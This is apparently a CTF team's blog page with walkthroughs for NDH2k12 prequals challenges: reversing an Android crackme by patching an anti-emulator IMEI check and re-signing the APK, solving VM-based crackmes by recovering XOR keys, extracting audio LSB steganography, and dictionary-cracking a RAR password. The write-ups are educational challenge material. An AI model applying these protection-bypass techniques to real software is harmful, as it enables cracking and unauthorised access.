          AlertDialog.Builder localBuilder1 = this.val$builder.setMessage("Bad Password");
        while (true)
        {
          this.val$builder.create().show();
          return;
          AlertDialog.Builder localBuilder2 = this.val$builder;
          NDHActivity localNDHActivity = NDHActivity.this;
          String str1 = this.val$tv2.getText().toString();
          String str2 = localNDHActivity.print(str1);
          AlertDialog.Builder localBuilder3 = localBuilder2.setMessage(str2);
        }
      }
    };
    localButton.setOnClickListener(local2);
    TableLayout localTableLayout = new TableLayout(this);
    localTableLayout.addView(localTextView);
    localTableLayout.addView(localEditText);
    localTableLayout.addView(localButton);
    setContentView(localTableLayout);
  }
}

Before going any further with that code, we wanted it to be running on a Android emulator and we had to patch few things.

This time, we completely disassembled the APK with apktool. This tool is BakSmaling (disassembling) the compiled code whose assembly representation is called Smali and unpacking all the files contained in an APK (certificates, libs etc.).
It also disassembles the graphical resources files and the AndroidManifest.xml file, which lists all the required settings for an application to run (platform version, permissions etc.).

android@honeynet:~/tools/apktool$ apktool d ~/ndh/NDH.apk ~/ndh/NDH_Decomp
I: Baksmaling...
I: Loading resource table...
I: Loaded.
I: Loading resource table from file: /home/android/apktool/framework/1.apk
I: Loaded.
I: Decoding file-resources...
I: Decoding values*/* XMLs...
I: Done.
I: Copying assets and libs...

Here's the AndroidManifest.xml :

<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="com.app.ndh"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-sdk android:minSdkVersion="15" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <application android:label="@string/app_name" android:icon="@drawable/ndh">
        <activity android:label="@string/app_name" android:name=".NDHActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

That manifest requires Android 4.0.3 (API 15) as minimum SDK version. Having a 2.3.3 (API 10) emulator, we just removed that line in the Manifest.

Now, let's go back into the code.

Just by reading the source, we're aware that this application graphically consists of a EditText (a textbox) and a Button. So basically, we have to enter an activation code and hit the button for it to be checked.

Once hit, the first check is :

if (Integer.decode(this.val$test.getDeviceId()).intValue() == 0)
	AlertDialog.Builder localBuilder1 = this.val$builder.setMessage("Bad Password");

To be read as : if the IMEI of the terminal equals 0, then always display "Bad Password", whatever activation code you typed (even the good one :)).

As the emulated terminals have no real IMEI, this value is set to 0. This first check is actually an anti-emulator feature :)

In order to remove that check, we had to directly patch the Smali code. Here's the original Smali section, in the NDH_Decomp/smali/com/app/ndh/NDHActivity$2.smali file :

iget-object v1, p0, Lcom/app/ndh/NDHActivity$2;->val$test:Landroid/telephony/TelephonyManager;
 
; Grab the terminal's IMEI
invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String; 
move-result-object v1
 
; Decode it as an integer value
invoke-static {v1}, Ljava/lang/Integer;->decode(Ljava/lang/String;)Ljava/lang/Integer; 
move-result-object v1
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
 
; if (v1 == IMEI) != 0 then jump to the cond_0 label (the legit "while(true){}" section), else print "Bad Password"
if-nez v1, :cond_0  
 
iget-object v1, p0, Lcom/app/ndh/NDHActivity$2;->val$builder:Landroid/app/AlertDialog$Builder;
const-string v2, "Bad Password"

We simply transformed the conditional jump "if-nez v1, :cond_0" to a unconditional jump, that's to say : "goto :cond_0"

Having both the Smali code and the Manifest patched, we rebuilt the application with apktool :

android@honeynet:~/tools/apktool$ apktool b ~/ndh/NDH_Decomp ~/ndh/New_NDH.apk
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building apk file...

Still, we needed to sign the application, as the emulator won't install an unsigned APK. Here comes the signing command, with a self-signed certificate :

android@honeynet:~/tools/apktool$ jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore /home/android/my-release-key.keystore -storepass my_pass ~/ndh/New_NDH.apk maz
  adding: META-INF/MANIFEST.MF
  adding: META-INF/MAZ.SF
  adding: META-INF/MAZ.RSA
  signing: lib/armeabi/libverifyPass.so
  signing: res/drawable-hdpi/ic_launcher.png
  signing: res/drawable-hdpi/ndh.png
  signing: res/drawable-ldpi/ic_launcher.png
  signing: res/drawable-ldpi/ndh.png
  signing: res/drawable-mdpi/ic_launcher.png
  signing: res/drawable-mdpi/ndh.png
  signing: res/drawable-xhdpi/ic_launcher.png
  signing: res/drawable-xhdpi/ndh.png
  signing: res/layout/main.xml
  signing: AndroidManifest.xml
  signing: classes.dex
  signing: resources.arsc

The patched APK can be found here. So now we can install and execute that application on an emulator.

app_home.png

Let's reverse that crackme ! Going back into the code, we have those 3 code sections:

static
{
	System.loadLibrary("verifyPass");
}
private native String print(String paramString);
NDHActivity localNDHActivity = NDHActivity.this;
String str1 = this.val$tv2.getText().toString();
String str2 = localNDHActivity.print(str1);
AlertDialog.Builder localBuilder3 = localBuilder2.setMessage(str2);

While the first instruction loads a native library, a .so file written in C and compiled with the NDK (Native Development Kit), the second stands for the declaration of the native method, here called "print".

The last part indicates that the text from the EditText element is passed to the native "print" method and its result is then displayed in a popup.

All in all, the validation routine is contained in that lib.

Thus, the next step was to reverse the "libverifyPass.so" file.
As said, apktool unpacked every file in the APK.

android@honeynet:~/ndh/NDH_Decomp$ file lib/armeabi/libverifyPass.so
lib/armeabi/libverifyPass.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped

Let's start by opening libverifyPass in IDA.
In the "Strings" window, we only have two strings : "Bad password" & "Good password, this is the flag too".
Those two strings are only referenced in one function : "Java_com_app_ndh_NDHActivity_print", which is the function called from the Java source.
Here is a global view of this function :

crackme_android_ida.png

We can split it in a few basic blocks :

  • purple : initialization
  • yellow : main loop
  • blue : final tests
  • red : fail (references "bad password")
  • green : success (references "Good password")

Before going any further, let's see a few specific details of the JNI (Java Native Interface) :

.text:00000F68                 STR     R0, [SP,#0x140+ptr_vtable_like]
.text:00000F6A                 STR     R1, [SP,#0x140+not_used]
.text:00000F6C                 STR     R2, [SP,#0x140+user_string]

We can see in the above snippet of the initialization block, that the function takes 3 parameters (in R0-R2) that are immediatly saved in local variables on the stack. But the Java source only use one argument, so the first two must be implicit arguments from the JNI.

The second is unused, but the first is used like a pointer on a vtable in C++, containing some function pointers used to do virtual calls, as in the following snippet :

.text:00000F78                 LDR     R2, [R3]								; Address of the "vtable-like" in R2
.text:00000F7A                 MOVS    R3, 0x2A4							; Offset = 0x2A4
.text:00000F7E                 LDR     R3, [R2,R3]							; Address of the "virtual function"
.text:00000F80                 LDR     R1, [SP,#0x140+ptr_vtable_like]
.text:00000F82                 LDR     R2, [SP,#0x140+user_string]
.text:00000F84                 MOVS    R0, R1								; Arg 1 -> our pointer
.text:00000F86                 MOVS    R1, R2 								; Arg 2 -> our string
.text:00000F88                 MOVS    R2, #0 							; Arg 3 
.text:00000F8A                 BLX     R3									; "virtual call"

As explained in the wiki page, this is how the JNI works. All functions take a JNIEnv pointer as first parameter, which is a structure containing pointers to all the required method to interface with the JVM :

/* Example of a JNI function, taking a JNIEnv pointer as first parameter */
JNIEXPORT void JNICALL Java_ClassName_MethodName(JNIEnv *env, jobject obj, jstring javaString)
{
	/* Example of a function call, using a function pointer in JNIEnv */
	const char *nativeString = (*env)->GetStringUTFChars(env, javaString, 0);
	[...]
}

Our program use this type of call 3 times, with the indexes 0x2A4, 0x290 and 0x29C. To retreive the names of the corresponding fonctions, we can use directly the header file jni.h or this documentation which contains the indexes in the JNIEnv interface function table :

0x24A / 4 = 169 --> const jbyte* GetStringUTFChars(JNIEnv *env, jstring string, jboolean *isCopy);
0x290 / 4 = 164 --> jsize GetStringLength(JNIEnv *env, jstring string);
0x29C / 4 = 167 --> jstring NewStringUTF(JNIEnv *env, const char *bytes);

We can now analyse our routine with a full knowledge of which function it's using :)
Starting with the end (the blue "final tests" block), we can see that the block doesn't really test anything on the supplied string, except that the result of a previous call to "GetStringLength" must equals 0xC.
Besides, there's just some really basic anti debug trick here : a call to difftime() is made, with the return values of two calls to time() before and after the main loop, and the result is tested against a hardcoded double value, that it must not exeed (R2=0x00000000 R3=0x3FF00000, so our maximum value is 1.0, but we really don' care since we are doing this in static analysis :p)

So let's skip to the interesting part. In the initialization block, two counters are set to 0, and a call to GetStringLength is made (but not directly tested).

.text:00000FFE                 MOVS    R3, #0
.text:00001000                 STR     R3, [SP,#0x140+counter1]
.text:00001002                 MOVS    R3, #0
.text:00001004                 STR     R3, [SP,#0x140+counter2]

More important, some structures in the .rodata section are loaded into the stack, as we can see in the following snippet :

.text:00000F9A                 ADD     R3, SP, #0x140+loaded_27E0		; R3 = stack buffer
.text:00000F9C                 LDR     R2, =(dword_27E0 - 0xFA2)			; R2 = rodata buffer
.text:00000F9E                 ADD     R2, PC
.text:00000FA0                 LDMIA   R2!, {R0,R1,R5}					; Load from R2 into multiple registers (R0, R1 and R5), and increment R2
.text:00000FA2                 STMIA   R3!, {R0,R1,R5}					; Store to R3 from multiple registers, and increment R3
.text:00000FA4                 LDMIA   R2!, {R0,R1,R5}
.text:00000FA6                 STMIA   R3!, {R0,R1,R5}
.text:00000FA8                 LDMIA   R2!, {R0,R1,R5}
.text:00000FAA                 STMIA   R3!, {R0,R1,R5}
.text:00000FAC                 LDMIA   R2!, {R0,R1,R5}
.text:00000FAE                 STMIA   R3!, {R0,R1,R5}

Using R0, R1, and R5, and repeating LDMIA/STMIA 4 times, we can see that this code loads 12 dwords. And there are 5 blocks like this one. The last action of the initialization block is to load the first char of our string somewhere in the stack (SP+0x20+0xFF) :

.text:00000FF2                 MOV     R3, SP 						; stack
.text:00000FF4                 ADDS    R3, #0x20 					
.text:00000FF6                 ADDS    R3, #0xFF 					
.text:00000FF8                 LDR     R2, [SP,#0x140+c_string]		; our string, result of GetStringUTFChars
.text:00000FFA                 LDRB    R2, [R2] 					; first char
.text:00000FFC                 STRB    R2, [R3] 					; store it !

Now let's finish this crackme with the main loop :

It first exits the loop to the final block if the current character (stored in SP+0x20+0xFF) is zero, this is our stop condition. After entering the loop, it also exits and prints "bad password" if the counter1 is greater than 0xC. Otherwise, (this part is the interesting one) it computes a xor between two values in the previously loaded on the stack data, and compares the result with the current password :

.text:00001040                 LDR     R2, [SP,#0x140+counter1]			
.text:00001042                 ADD     R3, SP, #0x140+loaded_2810		
.text:00001044                 LSLS    R2, R2, #2 						; R2 = counter1 * 4
.text:00001046                 LDR     R2, [R2,R3] 						; R2 = loaded_2810[ counter1 * 4 ]
.text:00001048                 LDR     R1, [SP,#0x140+counter1] 		
.text:0000104A                 ADD     R3, SP, #0x140+loaded_2840		
.text:0000104C                 LSLS    R1, R1, #2 						; R1 = counter1 * 4
.text:0000104E                 LDR     R3, [R1,R3] 						; R3 = loaded_2840[ counter1 * 4 ]
.text:00001050                 EORS    R2, R3 							; R2 = loaded_2810[ counter1 * 4 ] ^ loaded_2840[ counter1 * 4 ]
.text:00001052                 LDR     R3, [SP,#0x140+counter1] 		
.text:00001054                 LDR     R1, [SP,#0x140+c_string]
.text:00001056                 ADDS    R3, R1, R3
.text:00001058                 LDRB    R3, [R3] 						; R3 = c_string[ counter1 ]
.text:0000105A                 CMP     R2, R3 							; compare R2 / R3

So this is it :)
The last block of the function doesn't do anything really important (increment the counters, update the current char tested at the beginning of the loop, do some xor on some previously loaded on the stack but unused data, ...)

We now have to dump the 2*12 dwords in the .rodata section, at 0x2810 and 0x2840, and xor them to obtain the password :

>>> a = [0x52,0x1A,0x09,0x7B,0x4B,0x5C,0x20,0x72,0x10,0x67,0x5E,0x49]
>>> b = [0x01,0x4E,0x4C,0x3A,0x00,0x08,0x14,0x20,0x44,0x53,0x0C,0x0C]
>>> "".join( [ chr(a[i] ^ b[i]) for i in range(len(a)) ] )
'STEAKT4RT4RE'

Pwned !

app_validation.png

Friday, May 4 2012 21:06

Plaid CTF 2012

PlaidCTF

Le weekend dernier nous avons participé aux côtés de la team Shell-Storm au Plaid CTF 2012 sous le nom w3stormz (w3pwnz+Shell-Storm). C'était notre première collaboration avec une autre team et on peut dire que cela s'est très bien déroulé. Super ambiance pendant le CTF et on a fini 4ème.

Ranking_pCTF2012

Nous n'avons malheureusement pas eu trop le temps de faire des writes-up, voici ce que nous avons eu le temps de rédiger :


Vous trouverez une collection presque complète sur les sites suivants :


Bonne lecture...

Sunday, March 25 2012 23:54

NDH2k12 Prequals - Debriefing

home.png

This year challenges were organized an unusual way: we were some hax0rz hired by a company to complete some tasks they asked for, rewarded by money.

Thus it was storyline, quite messy, hence the following tree, trying to resume how we got accesses to challenges:

Mail "We are looking for a real hacker"
        `-> "Wallpaper image" ($300)
                +
                |
                +-> Mail "What about this file?"
                              `-> "binary file ndh" ($1500)
                                    +
                                    |
                                    +-> Mail "Another weird link"
                                                  `-> "complex remote service" ($2500)
                             `-> "interesting audio file" ($500)
                             `-> "Mole information" ($900)
         `-> "Unknown text" ($100)
               +
               |
               +-> Mail "Any idea how to use this file"
                             `-> "Unknown file extension" ($1700)
         `-> "Unknown zip archive" ($100)
               +
               |
               +-> Mail "unknown binary, need your help"
                             `-> "Strange binary file" ($500)
                                   +
                                   |
                                   +-> Mail "New email from our contact"
                                                 `-> "Sciteek shortener" ($1000)
                                                       +
                                                       |
                                                       +-> Mail "Time is running out"
                                                                     `-> "captured file" ($???)
                                                 `-> "strange binary file #2" ($2500)

Here are the people that participated: Niklos, Ufox, mirmo, Mr_KaLiMaN, vortex, MaZ, Groskoinkoin, criple_ripper, FrizN, Cladff10, Ge0, ThunderLord, awe

Once again, we solved all challenges!

Our team is currently mysteriously ranked #2, but it seems we were first to complete the whole thing.

UPDATE : The staff finally released the final ranking, and as expected we finish 1st, since we were the first to finish all the challenges :)
Here is a screenshot of the final ranking :
ranking.png


Here are the links to our writeups for each challenge, in the order we solved them:

We can sum up this CTF with pictures below =)

chuck_bmp.jpg

          

16952056.jpg

NDH2k12 Prequals - New email from our contact - strange binary file #2

From: Jessica <jessica@megacortek.com>
To: w3pwnz <w3pwnz@megacortek.com>
Subject: New email from our contact
Attachments : executable2.ndh
Thank you again for your help, our technical staff has a pretty good overview
of the new device designed by Sciteek. Your account will be credited with $500.

You did work hard enough to impress me, your help is still more than welcome,
you will get nice rewards. Our anonymous guy managed to get access to another
bunch of files. Here is one of his emails:

---
Hi there, see attached file for more information. It was found on
http://sci.nuitduhack.com/EgZ8sv12.
---

Maybe you can get further than him by exploiting this website.
We also need to get
as much information as possible about the file itself. If you succeed, you will
be rewarded with $2500 for the ndh file and $1000 for the website. Please use
"Sciteek shortener" and "strange binary file #2" titles.

Regards,
Jessica.


This challenge was another crackme. I called it "VMception", and it was a little harder than the other one =)

First we noticed the string "password is wrong:" (0x8737), and another a little stranger "Unhandled exception occured during execution. Exiting" (0x874b) and search for their references :

0x85f6: movl r0, #0x874b		; <-- unhandled exception
0x85fb: call 0xfb7a
0x85ff: end
------
0x8672: movl r0, #0x8737		; <-- password is wrong
0x8677: call 0xfafe
0x867b: end

The entry point of the crackme is a "jmpl 0x0624", corresponding to the following routine :

0x8627: movl r0, #0x867c		; <-- source = 0x867c
0x862c: movl r1, #0x86e8
0x8631: sub r1, r0			; <-- 0x86e8 - 0x867c = 0x6C = 108
0x8635: call 0xfc64			; --> 0x829d (memcpy_to_0x000a)
0x8639: movl r0, #0x0000	
0x863e: movl r1, #0x0035
0x8643: movl r2, #0x0000
0x8648: movl r3, #0x0000
0x864d: call 0xfc67
0x8651: call 0xffab			; --> 0x8600 (ask password)
0x8655: call 0xfed8			; --> 0x8531 (VMception)
0x8659: movl r0, #0x0000		; <-- 0x0000 = buffer password
0x865e: call 0xfca9	
0x8662: test r0, r0
0x8665: jz 0x000a			; --> goto password_is_wrong if r0 = 0
0x8668: movl r0, #0x872a
0x866d: call 0xfb90			; --> pwned \o/ 
0x8671: end

The first action is to copy 0x6c bytes of data from 0x867c to 0x000a :

niklos@box:~/ndh/jessica4# vmndh -file executable2.ndh -debug
[Console]#> x/x 0x867c:0x6c
0x867c: 0a 06 06 00 00 0b 02 07 4d 06 00 07 02 07 78 07
0x868c: 00 07 09 02 02 07 61 06 01 07 02 07 02 07 01 07
0x869c: 09 02 02 07 72 06 02 07 02 07 43 07 02 07 09 02
0x86ac: 02 07 31 06 03 07 02 07 45 07 03 07 09 02 02 07
0x86bc: 30 06 04 07 02 07 03 07 04 07 09 02 02 07 4c 06
0x86cc: 05 07 02 07 7f 07 05 07 09 02 02 07 64 06 06 07
0x86dc: 02 07 0f 07 06 07 09 02 02 00 01 0b

So far, we've got no idea of what the hell it could be, except that's probably vicious... We need to go deeper :)
Then, a 8bytes password is read, and stored in 0x0000 (which is quite surprising when you forget that you're in a very simple virtual machine). Next is a quite big routine, but quite easily understandable :

0x8531: push r2
0x8534: call 0xfdf9			; --> 0x8331 (code = get_next_ element)
0x8538: cmpb r0, #11		; --> code == 0xb
0x853c: jnz 0x0003
0x853f: jmpl 0x008f 			; --> goto 0x85d1 (BREAK)
0x8542: cmpb r0, #01		; --> code == 0x01		
0x8546: jnz 0x0007
0x8549: call 0xfeec
0x854d: jmpl 0xffe4
0x8550: cmpb r0, #02		; --> code == 0x2
0x8554: jnz 0x0007
0x8557: call 0xff0e
0x855b: jmpl 0xffd6			; --> loop
 
[...]
 
0x85c0: cmpb r0, #0a			; --> code == 0xa
0x85c4: jnz 0x0007
0x85c7: call 0xff5d
0x85cb: jmpl 0xff66			; --> loop
0x85ce: jmpl 0x0025			; --> 0x85f6 (unhandled_exception)
 
.label BREAK:
[...]
0x85f5: ret

First, this routine get an opcode from the buffer we previously copied in 0x000a, by calling 0x8331. Then, there's a switch/case test on this code, with a registered action for each from 0x00 to 0x0a, and 0x0b is the code signifying the end of the routine.

We now have a better understanding of the crackme : VMception : a VM inside a VM, and the buffer in 0x000a contains our program (we already see that most bytes are in [0x0 - 0xa] and it ends by 0xb.

Now comes the fun part when you trace the program opcode by opcode to understand the corresponding subroutines...
Here is what you can say then :

  • The password is actually 7bytes long, since the 8th byte is overitten (by a value used to check a byte of the password btw)
  • The password is checked one char at the time, and a single check use several opcodes
  • Opcodes used to do a single check are : 0x2 (routine 0x8469) 0x6 (routine 0x83a4), 0x7 (routine 0x8495), and 0x9 (routine 0x84fe)
  • The program-counter is stored at 0x9 (just before the program itself)

Let's check the subroutines of opcodes 0x02, 0x6, 0x7 and 0x9, starting with 0x2 :

[...]
0x8472: call 0xfebb		; --> 0x8331  (get_next_element = always 7)
0x8476: mov r1, r0	
0x847a:  call 0xfeb3		; --> 0x8331 (get_next_element = X, a value outside [0,a], like 0x4d, 0x78, ...)
0x847e: mov r2, r0
0x8482: mov r0, r1
0x8486: mov r1, r2
0x848a: call 0xfe90		; --> 0x831e (write_r0_at_r1 : writes the )
[...]
0x8494: ret

So this routine retrieves a value that is not an opcode, and stores it at 0x7.
Now 0x6 :

[...]
0x83b0: call 0xff7d		; --> 0x8331 (get_next_element = index i in the password of the char to be tested)
0x83b4: mov r3, r0
0x83b8: call 0xff75		; --> 0x8331 (get_next_ element = always 7)
0x83bc: call 0xff4b		; --> 0x830b (return *R0 == get [0x07])
0x83c0: mov r2, r0
0x83c4: mov r0, r3
0x83c8: call 0xff3f		; --> 0x830b (return *R0 = get password[i], the value of the char to be tested)
0x83cc: xor r0, r2		; --> XOR
0x83d0: mov r1, r0		
0x83d4: mov r0, r3		
0x83d8: call 0xff42		; --> 0x831e (write_r1_at_r0 = write the xored value at password[i])
[...]
0x83e4: ret

This one takes the previous value at 0x7 and XOR the current byte of the password with it.
Now 0x7 :

[...]
0x849e: call 0xfe8f		; --> 0x8331 (get_next_element = index i in the password of the char to be tested)
0x84a2: call 0xfe65		; --> 0x830b (return *R0 = get password[i], the value of the char to be tested)
0x84a6: mov r1, r0		
0x84aa: call 0xfe83		; --> 0x8331 (get_next_ element = always 7)
0x84ae: call 0xfe59		; --> 0x830b (return *R0 == get [0x07])
0x84b2: mov r2, r0	
0x84b6: cmp r1, r2		; --> CMP password[i], [0x7]
0x84ba: movl r1, #0x00	; --> R1 = 0
0x84bf: jnz 0x0002
0x84c2: inc r1			; --> R1 = 1
0x84c4: movl r0, #0x08	; --> R0 = 8
0x84c9: call 0xfe51		; --> 0x831e (write_r0_at_r1 = writes the result of CMP at 0x8)
[...]
0x84d3: ret

This routine compares the current byte of the password with some value stored in 0x7.
And finally 0x9 :

[...]
0x8504: call 0xfe29		; --> 0x8331 (get_next_element = always 0x2)
0x8508: mov r1, r0		
0x850c: movl r0, #0x0008	; --> R0 = 8
0x8511: call 0xfdf6		; --> 0x830b (return *R0 = get [0x08])
0x8515: test r0, r0
0x8518: jnz 0x0008
0x851b: mov r0, r1
0x851f: call 0xfe30		; --> IF [0x08] == 0 THEN : 0x8353 (change_program_counter by 0x2)
[...]
0x8527: ret

This one changes the program counter by 0x2 if the previous comparison fails.

We now know how one byte of the password is checked :

  • 0x02 : store next element at 0x7
  • 0x06 : XOR password[i] and [0x7]
  • 0x02 : store next element at 0x7
  • 0x07 : compare xored value and [0x7] and write the result at 0x8
  • 0x09 : f*ck up program counter if [0x8] is 0

So with 3 breakpoints in routines of opcodes 0x6, 0x7 and 0x9, we can get the xor keys and the xored values :

niklos@box:~/ndh/jessica4# vmndh -file executable2.ndh -debug
[Console]#> bp 0x83c0
Breakpoint set in 0x83c0
[Console]#> bp 0x84b6
Breakpoint set in 0x84b6
[Console]#> bp 0x8515
Breakpoint set in 0x8515
[Console]#> run
[...]
[SYSCALL output]: Please enter Sciteek admin password:
AAAAAAA
[...]
[BreakPoint 1 - 0x83c0]
0x83c0 > mov r2, r0
[Console]#> info reg
[r0]: 004d		; --> first xor key is 0x4d
[...]
[Console]#> run
[BreakPoint 2 - 0x84b6]
0x84b6 > cmp r1, r2
[Console]#> info reg
[r0]: 0078		; --> first xored value is 0x78
[Console]#> run
[...]
[BreakPoint 3 - 0x8515]
0x8515 > test r0, r0
[Console]#> set r1=1	; --> set the result of the comparison to 1
r1 = 0x0001
[Console]#> run

[...]

And so on for the 7 bytes of the password :)

Now we xor all this and get the password :

>>> a = [0x4d, 0x61, 0x72, 0x31, 0x30, 0x4c, 0x64]
>>> b = [0x78, 0x02, 0x43, 0x45, 0x03, 0x7f, 0x0f]
>>> print ''.join([ chr(a[i] ^ b[i]) for i in range(len(a)) ])
5c1t33k

Bazinga \o/

NDH2k12 Prequals - What is it about this file? - interesting audio file

soundmail.png
The cover document was a song from the Blues Brothers, "Rawhide". The title suggests that the method used is simple. This was indeed one of the most straightforward challenges: take the lsb from every frame, and you're done. The frames are in 16 bits little endian format, so we need to take one every two bytes. There are two audio channels, but this isn't important. The size of the file is given in the first four bytes, as in the bmp challenge.

#!/usr/bin/python
import wave
 
def debin(s):
    return "".join(chr(int(s[i:i+8],2)) for i in range(0,len(s),8))
 
w = wave.open("sound.wav")
nbframes = w.getnframes()
frames = w.readframes(nbframes)
lsbsize = "".join( str(ord(i)&1) for i in frames[0:64:2] )
size = int(lsbsize,2)*8
lsbfile = "".join( str(ord(i)&1) for i in frames[64:64+size*2:2] )
pdf = debin(lsbfile)
 
outfile = open("ndh2012_sound.pdf","wb")
outfile.write(pdf)
outfile.close()

NDH2k12 Prequals - unknown binary, need your help - Strange binary file

From: Jessica <jessica@megacortek.com>
To: w3pwnz <w3pwnz@megacortek.com>
Subject: unknown binary, need your help
Attachments : executable1.ndh
Hello again,

Thank you very much for your help. It is amazing that our technical staff and
experts did not manage to recover any of it: the password sounds pretty weak.
I will notify our head of technical staff.

Anyway, I forwarded them the file for further investigation. Meanwhile, we got
fresh news from our mystery guy. He came along with an intersting binary file.
It just looks like an executable, but it is not ELF nor anything our experts
would happen to know or recognize. Some of them we quite impressed by your skills
and do think you may be able to succeed here. I attached the file, if you discover
anything, please send me an email entitled "Strange binary file".

This will be rewarded, as usual. By the way, your account has just been credited
with $100.

Regards,
Jessica.


We first noticed the two strings "Good password" and "Bad password" at the end of the file. An easy way to attack a crackme is to search for string references in the code. The disassembly from vmndh tells us that the "Bad password" string is loaded in 0x8480, and referenced from

0x82d4:
0x82d4: movl r0, #0x8480
0x82d9: call 0xffdd
0x82dd: ret


This is the "bad boy" case, and whatever "call 0xffdd" is, it must be the impression routine. There were two methods to get the actual adresses of the calls: check them in the debugger, or patch the disassembled output to translate relative calls into absolute ones. This is what patch.py does.

With it, we can see that the address 0x82d4 is called 9 times between 0x82e8 and 0x83e1, just after "jz" instructions.

A first test is made, that checks the length of the input:

0x82e8: mov r7, r0
0x82ec: movl r6, #0x840d
0x82f1: call 0x8003
0x82f5: cmpb r0, #09        ; 9 bytes (8 without "\x0a")
0x82f9: jz 0x0005
0x82fc: call 0x82d4         ; -> bad boy
0x8300: end


After that, each time the bytes pointed by r7 and r6 are xored together and compared to a hardcoded value. Then r7 and r6 are incremented:

0x8301: mov r0, [r7]
0x8305: mov r1, [r6]
0x8309: xor r0, r1
0x830d: cmpb r0, #78
0x8311: jz 0x0005
0x8314: call 0x82d4
0x8318: end
0x8319: inc r7
0x831b: inc r6


Let's load the program in the debugger and put a breakpoint at 0x8301, to see what these registers point to:

[BreakPoint 1 - 0x8301]
0x8301 > mov r0, [r7]
[Console]#> info reg
[r0]: 0061	[r4]: 0000
[r1]: 0000	[r5]: 0000
[r2]: 7fda	[r6]: 840d
[r3]: 001f	[r7]: 7fda
 
[bp]: 7ffa	[zf]: 0001
[sp]: 7fd8	[af]: 0000
[pc]: 8305	[bf]: 0000
[Console]#> x/x 7fda:8
0x7fda: 61 62 63 64 65 66 67 68     <- our input
[Console]#> x/x 840d:8
0x840d: 02 05 03 07 08 06 01 09     <- the key


According to the cmpb instructions, the result must be 78 44 73 6b 61 3e 6e 5e. The correct input is therefore

>>> format(0x7844736b613e6e5e ^ 0x0205030708060109,"x").decode("hex")
'zApli8oW'

Let’s use it:

~/ndh2012$ nc sciteek.nuitduhack.com 4001
Sciteek protected storage #1
Enter your password: zApli8oW
<PSP version="1.99">
<MOTD>
<![CDATA[
Welcome on SciPad Protected Storage.

The most secure storage designed by Sciteek. This storage protocol
allows our users to share files in the cloud, in a dual way.

This daemon has been optimized for SciPad v1, running SciOS 16bits
with our brand new processor.
]]>
</MOTD>
<FLAG>
ea1670464251ea3b65afd624d9b17cd7
</FLAG>
<ERROR>
An unexpected error occured: PSP-UNK-ERR-001> application closed.
</ERROR>
</PSP>

NDH2k12 Prequals - We are looking for a real hacker - Unknown zip archive

UnknownZipArchive.png

File sp112.rar

The rar file is password protected => Let’s try to crack it...

Open Advanced Archive Password Recovery and launch a dictionary attack :

bf_rar.png

After some hours or some minutes depending on your dictionary, the password is found : smith

You only have to extract the rar and send it.

The contents of the RAR will be very useful for later...

- page 1 of 3